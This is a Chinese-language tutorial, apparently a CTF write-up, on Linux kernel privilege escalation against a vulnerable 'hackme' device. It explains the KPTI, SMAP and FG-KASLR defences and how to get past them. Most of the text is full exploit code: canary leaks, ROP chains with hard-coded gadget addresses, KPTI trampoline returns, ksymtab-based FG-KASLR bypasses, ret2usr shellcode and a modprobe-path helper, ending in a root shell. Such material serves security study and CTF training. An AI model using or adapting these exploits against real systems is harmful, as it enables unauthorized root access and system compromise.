- 6. canary+smep+kpti: ROP
- 7. canary+smep+kpti+smap: ROP
- 8. canary+smep+kpti+smap+fg-kaslr: ROP
- 9. retspill
- references
6. canary+smep+kpti: ROP
6.1 kpti的原理
kpti诞生是为了阻止meltdown漏洞的,核心原理是维护两套页表:一套跟之前一样,有用户态和内核态全量地址的映射,供内核态使用,但是将用户态地址空间标记为不可执行;另一套有用户态全量地址和必要的内核态地址(最小集),供用户态使用。在kpti开启时,在发生系统调用时,会发生页表的切换。
CR(control register)3寄存器即页表的物理地址。
启动命令:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,-smap \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
-s
6.2 设置signal handler + ROP 绕过
这是一个非常有意思的机制。
这其实是利用了触发signal自动切换cr3寄存器的机制,另外触发page fault时,也不会保存当前cr3寄存器用于回复。
内核态
CR3 = kernel CR3
│
│ 忘记 SWITCH_TO_USER_CR3
▼
iretq
│
▼
CS=0x33 / CPL=3
RIP=用户代码地址
CR3=kernel CR3 ← 错误
│
│ 取用户指令
▼
kernel CR3 用户区域 NX
│
▼
#PF
│
▼
进入 Page Fault
↓
内核异常入口
↓
发现已经是 kernel CR3
↓
保持 kernel CR3
↓
处理 page fault,因为CS & 3 == 3,Linux 会把它当成用户态 page fault。如果无法正常解决这个 execute fault,就可以产生:SIGSEGV
处理 SIGSEGV
↓
建立 signal frame
↓
pt_regs.RIP = func
↓
swapgs_restore_regs_and_return_to_usermode
↓
SWITCH_TO_USER_CR3
↓
CR3 = user CR3
↓
iretq
↓
CPL3
↓
func()
借用signal的处理机制,反而帮助我们还原了用户态的cr3存放的页表:
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long cmp_esi_esi_ret = 0xffffffff81906934;
unsigned long mov_rdi_rax_ja_pop_rbp_ret = 0xffffffff818c6ebd;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long mov_esp_pop_r12_pop_rbp_ret = 0xffffffff8196f56a;
unsigned long * fake_stack;
int main(){
// step 0 : save status
save_status();
// set signal handler
signal(SIGSEGV, get_root_shell);
int fd =open_device();
// step 1: leak the canary
unsigned long tmp_buf[50];
unsigned long size=0x8*50;
read(fd,tmp_buf,size);
unsigned long canary = tmp_buf[16];
printf("canary: 0x%llx\n",canary);
// step 2: construct fake stack
fake_stack = mmap(0x5b000000-0x1000, 0x2000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0);
int off = 0x1000/8;
fake_stack[0] = 0xdeadbeef;
fake_stack[off++] = 0;
fake_stack[off++] = 0;
fake_stack[off++] = pop_rdi_ret;
fake_stack[off++] = 0;
fake_stack[off++] = prepare_kernel_cred;
fake_stack[off++] = cmp_esi_esi_ret;
fake_stack[off++] = mov_rdi_rax_ja_pop_rbp_ret;
fake_stack[off++] = 0 ;
fake_stack[off++] = commit_creds;
fake_stack[off++] = swapgs_pop_rbp_ret;
fake_stack[off++] = 0;
fake_stack[off++] = iretq;
fake_stack[off++] = (unsigned long )get_root_shell;
fake_stack[off++] = user_cs;
fake_stack[off++] = user_rflags;
fake_stack[off++] = user_sp;
fake_stack[off++] = user_ss;
// step 3: construct the payload
off = 17;
tmp_buf[off++] = 0;
tmp_buf[off++] = 0;
tmp_buf[off++] = 0;
tmp_buf[off++] = mov_esp_pop_r12_pop_rbp_ret;
write(fd,tmp_buf,size);
}
6.3 KPTI trampoline + ROP
绕过方法其实还是ROP,但是因为需要切换页表,我们不知道切换页表要做什么,但是考虑到执行syscall能正常返回,内核里一定有一段关于内核页表切换的代码!
代码位于swapgs_restore_regs_and_return_to_usermode中
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
其汇编代码如下:
0xffffffff81200f10 <_stext+2101008>: pop r15
0xffffffff81200f12 <_stext+2101010>: pop r14
0xffffffff81200f14 <_stext+2101012>: pop r13
0xffffffff81200f16 <_stext+2101014>: pop r12
0xffffffff81200f18 <_stext+2101016>: pop rbp
0xffffffff81200f19 <_stext+2101017>: pop rbx
0xffffffff81200f1a <_stext+2101018>: pop r11
0xffffffff81200f1c <_stext+2101020>: pop r10
0xffffffff81200f1e <_stext+2101022>: pop r9
0xffffffff81200f20 <_stext+2101024>: pop r8
0xffffffff81200f22 <_stext+2101026>: pop rax
0xffffffff81200f23 <_stext+2101027>: pop rcx
0xffffffff81200f24 <_stext+2101028>: pop rdx
0xffffffff81200f25 <_stext+2101029>: pop rsi
0xffffffff81200f26 <_stext+2101030>: mov rdi,rsp //start here
0xffffffff81200f29 <_stext+2101033>: mov rsp,QWORD PTR gs:0x6004
0xffffffff81200f32 <_stext+2101042>: push QWORD PTR [rdi+0x30]
0xffffffff81200f35 <_stext+2101045>: push QWORD PTR [rdi+0x28]
0xffffffff81200f38 <_stext+2101048>: push QWORD PTR [rdi+0x20]
0xffffffff81200f3b <_stext+2101051>: push QWORD PTR [rdi+0x18]
0xffffffff81200f3e <_stext+2101054>: push QWORD PTR [rdi+0x10]
0xffffffff81200f41 <_stext+2101057>: push QWORD PTR [rdi]
0xffffffff81200f43 <_stext+2101059>: push rax
0xffffffff81200f44 <_stext+2101060>: xchg ax,ax
0xffffffff81200f46 <_stext+2101062>: mov rdi,cr3
0xffffffff81200f49 <_stext+2101065>: jmp 0xffffffff81200f7f <_stext+2101119>
...
0xffffffff81200f7f <_stext+2101119>: or rdi,0x1000
0xffffffff81200f86 <_stext+2101126>: mov cr3,rdi
0xffffffff81200f89 <_stext+2101129>: pop rax
0xffffffff81200f8a <_stext+2101130>: pop rdi
0xffffffff81200f8b <_stext+2101131>: swapgs
0xffffffff81200f8e <_stext+2101134>: nop DWORD PTR [rax]
0xffffffff81200f91 <_stext+2101137>: jmp 0xffffffff81200fc0 <_stext+2101184>
...
0xffffffff81200fc0 <_stext+2101184>: test BYTE PTR [rsp+0x20],0x4
0xffffffff81200fc5 <_stext+2101189>: jne 0xffffffff81200fc9 <_stext+2101193>
0xffffffff81200fc7 <_stext+2101191>: iretq //这里返回
而且 trampoline里自带了swapgs和iretq,还是比较方便的。
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long cmp_esi_esi_ret = 0xffffffff81906934;
unsigned long mov_rdi_rax_ja_pop_rbp_ret = 0xffffffff818c6ebd;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10+22;
int main(){
// step 0 : save status
save_status();
int fd =open_device();
// step 1: leak the canary
unsigned long tmp_buf[50];
unsigned long size=0x8*50;
read(fd,tmp_buf,size);
unsigned long canary = tmp_buf[16];
printf("canary: 0x%llx\n",canary);
// step 2: construct the payload
int off = 17;
tmp_buf[off++] = 0;
tmp_buf[off++] = 0;
tmp_buf[off++] = 0;
tmp_buf[off++] = pop_rdi_ret;
tmp_buf[off++] = 0;
tmp_buf[off++] = prepare_kernel_cred;
tmp_buf[off++] = cmp_esi_esi_ret;
tmp_buf[off++] = mov_rdi_rax_ja_pop_rbp_ret;
tmp_buf[off++] = 0 ;
tmp_buf[off++] = commit_creds;
tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
tmp_buf[off++] = 0; // padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = (unsigned long )get_root_shell;
tmp_buf[off++] = user_cs;
tmp_buf[off++] = user_rflags;
tmp_buf[off++] = user_sp;
tmp_buf[off++] = user_ss;
write(fd,tmp_buf,size);
}
7. canary+smep+kpti+smap: ROP
7.1 SMAP原理
SMAP本质上和SMEP类似,就是在内核态时,用户态页表会被标记为不可读写。
可以通过设置内核的CR(control register)4寄存器的第21位bit为1来启动该特性。就在SMEP标志位的旁边
qemu启动命令:
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel bzImage \
-initrd initramfs.cpio.gz \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
-s
7.2 KPTI trampoline + ROP
原先的代码原封不动就能用:
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long cmp_esi_esi_ret = 0xffffffff81906934;
unsigned long mov_rdi_rax_ja_pop_rbp_ret = 0xffffffff818c6ebd;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10+22;
int main(){
// step 0 : save status
save_status();
int fd =open_device();
// step 1: leak the canary
unsigned long tmp_buf[50];
unsigned long size=0x8*50;
read(fd,tmp_buf,size);
unsigned long canary = tmp_buf[16];
printf("canary: 0x%llx\n",canary);
// step 2: construct the payload
int off = 17;
tmp_buf[off++] = 0;
tmp_buf[off++] = 0;
tmp_buf[off++] = 0;
tmp_buf[off++] = pop_rdi_ret;
tmp_buf[off++] = 0;
tmp_buf[off++] = prepare_kernel_cred;
tmp_buf[off++] = cmp_esi_esi_ret;
tmp_buf[off++] = mov_rdi_rax_ja_pop_rbp_ret;
tmp_buf[off++] = 0 ;
tmp_buf[off++] = commit_creds;
tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
tmp_buf[off++] = 0; // padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = (unsigned long )get_root_shell;
tmp_buf[off++] = user_cs;
tmp_buf[off++] = user_rflags;
tmp_buf[off++] = user_sp;
tmp_buf[off++] = user_ss;
write(fd,tmp_buf,size);
}
但是原本更复杂场景,栈迁移的技术就不可用了。
8. canary+smep+kpti+smap+fg-kaslr: ROP
8.1 kaslr和fg-kaslr
kaslr,是Kernel address space layout randomization的缩写
和用户态aslr类似,kaslr就是kernel地址空间布局随机化。本质上是内核的基地址发生了变化。
传统的kaslr机制的话,通过这道题的越界读问题其实是可以读到kernel image的text段地址的,直接就破解了。然而这道题不一样,它启动了fg-kaslr,Function Granular KASLR,fg-kaslr就是在kernel启动时,以函数为单位重新排列内核代码,且只会增加大约一秒的启动时间,理论上,每个函数为单位重新编排的话,这意味着每个函数的偏移在启动时都会发生变化,那我们不可能在kernel中找到我们想要的gadgets的地址。然而这个机制也是有弱点的。
首先,内核开启fg-kaslr,并不是全部代码都会做fg-kaslr,_text段到__x86_retpoline_r15的部分只会做基本的kaslr。即内核起始的若干区域是不会变化的。因为里面放着特殊的代码,不方便随机化
.text
│
├── startup_64
├── early boot ASM
├── 一些特殊入口代码
└── ...
← 这一段内部布局基本不变
.text.func_C
.text.func_A
.text.func_D
.text.func_B ← 后面的函数随机排序
查看ida也能看到这段区域:
执行命令也能看到地址:
cat /proc/kallsyms | grep __x86_retpoline_r15
ffffffff81400dc6 T __x86_retpoline_r15
我们可以在这段区域里找gadget:
ROPgadget --binary vmlinux --range 0xffffffff81000000-0xFFFFFFFF81400DC6 > gadgets.txt
虽然内核提权的函数不在此列,但是swapgs_restore_regs_and_return_to_usermode还是存在text段中的。
另外,kernel的符号表ksymtab也不会被随机化。本质上是fg-kaslr只随机化.text.*段,数据段是不会随机化的。
里面记录了偏移信息:
struct kernel_symbol {
int value_offset; // 函数符号表地址 和 函数实际布局地址的差值,函数符号表地址+value_offset = 函数实际布局地址。
int name_offset;
int namespace_offset;
};
调试的时候可以看看它们的地址:
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffffabd76670 T prepare_kernel_cred
ffffffffac58d4fc r __ksymtab_prepare_kernel_cred
ffffffffac58d4fc+ ff7e9174(本质上相当于-0x816e8c) = ffffffffabd76670
8.2 多次trampoline+ROP
区域有限,可用的gadget太少了,无法通过一次ROP完成利用。只能尝试分段rop的方法。
不过多解释,直接放出完整的exp:
// gcc -fcf-protection=none -masm=intel -static xxx.c -o xxx
#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h> // read, write
#include <stdlib.h>
#include <fcntl.h> // define open, O_RDONLY, O_WRONLY, O_CREAT
#include <signal.h>
#include <sys/wait.h> // waitpid
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h> // ioctl
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h> // msg_msg
#include <sched.h>
#include <stdint.h>
size_t commit_creds= 0xffffffff814c6410;
size_t prepare_kernel_cred =0xffffffff814c67f0;
size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
user_sp = user_sp -8;
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void get_root_shell(void){
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
// ret2usr
unsigned long user_rip = (unsigned long)get_root_shell;
__attribute__((naked, noinline)) void escalate_privs(void){
__asm__(
"movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, commit_creds;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
);
}
// kernel shellcode
__attribute__((naked, noinline)) void privilege_escalation_kernel_shellcode(){
__asm__ (
"mov rbx, 0xffffffff810895e0;" //prepare_kernel_cred_addr
"mov rdi, 0;"
"call rbx;" //prepare_kernel_cred(0)
"mov rdi, rax;"
"mov rbx, 0xffffffff810892c0;" //commit_creds_addr
"call rbx;"
"nop;"
"ret;"
);
}
// modprobe
void environ_set(void){
puts("[*] Returned to userland, setting up for fake modprobe");
//system("mkdir /tmp");
system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/exp");
system("chmod +x /tmp/exp");
system("printf '\xff\xff\xff\xff' > /tmp/dummy");
system("chmod 777 /tmp/dummy");
//exit(0);
}
void get_flag(void){
puts("[*] Run unknown file");
system("cat /proc/sys/kernel/modprobe");
system("/tmp/dummy");
puts("[*] Hopefully flag is readable");
system("cat /tmp/flag");
exit(0);
}
// msg_msg
// make sure the process run in one fixed cpu
static void pin_to_current_cpu(void)
{
cpu_set_t set;
int cpu = sched_getcpu();
if (cpu < 0) {
fprintf(stderr, "[-] sched_getcpu failed: %s\n", strerror(errno));
return;
}
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
fprintf(stderr, "[-] sched_setaffinity failed: %s\n", strerror(errno));
else
fprintf(stderr, "[+] pinned to CPU %d\n", cpu);
}
static void fatal(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
#define TARGET_OBJECT_SIZE 0x1d0UL /* need to change according to the situation*/
#define MSG_HEADER_SIZE 0x30UL
#define MSGSEG_HEADER_SIZE 0x08UL
#define DATAMSG_LEN (0x1000UL - MSG_HEADER_SIZE) /* 0xfd0 */
#define DATAMSGSEG_LEN (TARGET_OBJECT_SIZE - MSGSEG_HEADER_SIZE)
#define MESSAGE_SIZE (DATAMSG_LEN + DATAMSGSEG_LEN) /* target msg size */
struct message {
long type;
unsigned char text[MESSAGE_SIZE];
};
int msg_create_queue(){
// int key = ftok(".",0); // create a new key and can be found by other process
// int msg_id = msgget(key,0666| IPC_CREAT);
int msg_id = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (msg_id < 0)
fatal("msgget");
fprintf(stderr, "[+] created SysV message queue %d\n", msg_id);
return msg_id;
}
void msg_send(int msg_id, void *msg_addr,int msg_size, int flag){
int mark = msgsnd(msg_id,msg_addr,msg_size,flag);
if (mark <0){
fatal("msg send");
}
}
void msg_recv(int msg_id, void *msg_addr,int msg_size,int msg_type, int flag){
int received = msgrcv(msg_id, msg_addr, msg_size, msg_type, flag);
if (received < 0){
fatal("msgrcv");
}
}
int open_device(){
int fd = open("/dev/hackme",O_RDWR);
if (fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
return fd;
}
unsigned long ksymtab_prepare_kernel_cred = 0;
unsigned long ksymtab_commit_cred = 0;
unsigned long root_cred=0;
int fd=0;
unsigned long canary = 0;
unsigned long kernel_base = 0;
unsigned long pop_rdi_ret = 0;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0;
unsigned long mov_eax_mem_pop_rbp_ret = 0;
unsigned long pop_rax_ret = 0;
void stage4_call_commit_creds(){
unsigned long tmp_buf[50];
unsigned long size = 0x8*50;
int off = 16;
tmp_buf[off++] = canary;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = pop_rdi_ret;
tmp_buf[off++] = root_cred;
tmp_buf[off++] = commit_creds;
tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = (unsigned long)get_root_shell;
tmp_buf[off++] = user_cs;
tmp_buf[off++] = user_rflags;
tmp_buf[off++] = user_sp;
tmp_buf[off++] = user_ss;
write(fd,tmp_buf,size);
puts("[!] Should never be reached");
}
__attribute__((naked, noinline)) void stage3_get_root_cred(){
__asm__(
"mov root_cred, rax;"
);
printf("root_cred: %p\n",root_cred);
stage4_call_commit_creds();
}
void stage3_call_prepare_kernel_cred(){
unsigned long tmp_buf[50];
unsigned long size = 0x8*50;
int off = 16;
tmp_buf[off++] = canary;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = pop_rdi_ret;
tmp_buf[off++] = 0;
tmp_buf[off++] = prepare_kernel_cred;
tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = (unsigned long)stage3_get_root_cred;
tmp_buf[off++] = user_cs;
tmp_buf[off++] = user_rflags;
tmp_buf[off++] = user_sp;
tmp_buf[off++] = user_ss;
write(fd,tmp_buf,size);
puts("[!] Should never be reached");
}
__attribute__((naked, noinline)) void stage2_get_commit_cred_addr(){
__asm__(
"mov commit_creds, rax;"
);
commit_creds = ksymtab_commit_cred + (int)commit_creds;
printf("commit_creds addr: %p\n",commit_creds);
stage3_call_prepare_kernel_cred();
}
void stage2_leak_commit_cred_addr(){
unsigned long tmp_buf[50];
unsigned long size = 0x8*50;
int off = 16;
tmp_buf[off++] = canary;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = pop_rax_ret;
tmp_buf[off++] = ksymtab_commit_cred;
tmp_buf[off++] = mov_eax_mem_pop_rbp_ret;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = (unsigned long)stage2_get_commit_cred_addr;
tmp_buf[off++] = user_cs;
tmp_buf[off++] = user_rflags;
tmp_buf[off++] = user_sp;
tmp_buf[off++] = user_ss;
write(fd,tmp_buf,size);
puts("[!] Should never be reached");
}
__attribute__((naked, noinline)) void stage1_get_kernel_cred_addr(){
__asm__(
"mov prepare_kernel_cred, rax;"
);
prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)prepare_kernel_cred;
printf("prepare_kernel_cred_addr: %p\n",prepare_kernel_cred);
stage2_leak_commit_cred_addr(); // call next function
}
void stage1_leak_prepare_kernel_cred_addr(){
unsigned long tmp_buf[50];
unsigned long size=0x8*50;
int off = 16;
tmp_buf[off++] = canary;
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = pop_rax_ret;
tmp_buf[off++] = ksymtab_prepare_kernel_cred;
tmp_buf[off++] = mov_eax_mem_pop_rbp_ret;
tmp_buf[off++] = 0;//padding
tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
tmp_buf[off++] = 0; // padding
tmp_buf[off++] = 0; //padding
tmp_buf[off++] = (unsigned long )stage1_get_kernel_cred_addr;
tmp_buf[off++] = user_cs;
tmp_buf[off++] = user_rflags;
tmp_buf[off++] = user_sp;
tmp_buf[off++] = user_ss;
write(fd,tmp_buf,size);
puts("[!] Should never be reached");
}
int main(){
// step 0 : save status
save_status();
fd =open_device();
// step 1: leak the canary and linux_base
unsigned long tmp_buf[50];
unsigned long size=0x8*50;
read(fd,tmp_buf,size);
canary = tmp_buf[16];
kernel_base = tmp_buf[38]-0xa157;
printf("canary: 0x%llx\n",canary);
printf("kernel_base: 0x%llx\n",kernel_base);
pop_rdi_ret = kernel_base + 0x6370;
swapgs_restore_regs_and_return_to_usermode = kernel_base +0x200f10+22;
ksymtab_prepare_kernel_cred = kernel_base+ 0xf8d4fc;
ksymtab_commit_cred = kernel_base + 0xf87d90;
mov_eax_mem_pop_rbp_ret = kernel_base + 0x15a80;
pop_rax_ret = kernel_base +0x4d11;
// step 2: construct the payload
stage1_leak_prepare_kernel_cred_addr();
}
9. retspill
RetSpill 提出的是一种 Linux 内核漏洞利用方法:利用系统调用过程中自然保存到内核栈上的用户可控数据,在获得控制流劫持能力后,把这些数据组织成 ROP 链;进一步通过反复执行不同的短链,实现提权、内核读写和内核函数调用。
https://adamdoupe.com/publications/retspill-ccs2023.pdf
https://github.com/sefcom/RetSpill
https://bsauce.github.io/2024/05/21/RetSpill/
本质上讲的是,在获得控制流劫持原语(能够修改内核某个函数指针,并调用它)的情况下,可以利用系统调用,把尽可能多的用户数据传到内核栈上,然后修改内核函数指针为某个add rsp, x; ret的gadget中,微调栈空间,最终完成利用
references
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/
https://trungnguyen1909.github.io/blog/post/matesctf/KSMASH/